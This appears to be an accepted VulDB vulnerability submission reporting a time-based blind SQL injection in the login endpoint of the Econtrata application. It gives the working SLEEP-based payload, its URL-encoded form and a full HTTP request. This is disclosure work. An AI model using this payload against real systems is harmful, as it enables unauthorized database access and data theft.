Submit #579248: Econtrata NA SQL Injection

Vulnerability Report: Time-Based Blind SQL Injection in usuario Parameter
Summary
A Time-Based Blind SQL Injection vulnerability exists in the usuario parameter of the login endpoint:

POST /valida
Host: example.com
This vulnerability allows an attacker to manipulate backend SQL queries and confirm injection points by measuring response time delays, even when no errors or data are returned to the client.

Affected Endpoint
POST /valida HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Parameters:
usuario (vulnerable)

senha (not tested)

Proof of Concept (PoC)
Malicious Payload:
[email protected]' AND (SELECT 2277 FROM (SELECT(SLEEP(5)))KWDG)
URL-encoded Payload:

usuario=teste%40teste.com%27%20AND%20(SELECT%202277%20FROM%20(SELECT(SLEEP(5)))KWDG)
Example Full Request:

POST /valida HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=32f7830c766c2891423d5f48a9e7bae6

[email protected]' AND (SELECT 2277 FROM (SELECT(SLEEP(5)))KWDG)&senha=
Expected Behavior:
Normal login attempts should complete quickly.

This malicious input introduces a 5-second delay before the server responds.

⏱️ Observed Behavior:
The server responds after approximately 5 seconds.

This confirms that the SQL payload was successfully executed and evaluated.

Impact
Authenticated bypass (in time-based scenarios)

Proof of arbitrary SQL execution

Enumerate data character-by-character using time delay

• Source: ⚠️ https://github.com/yago3008/cves
• User: y4g0 (UID 80480)
• Submission: 05/16/2025 17:03 (1 Year ago)
• Moderation: 05/25/2025 15:31 (9 days later)
• Status: Accepted
• VulDB entry: 310260 [Econtrata up to 20250516 /valida usuario sql injection]
• Points: 20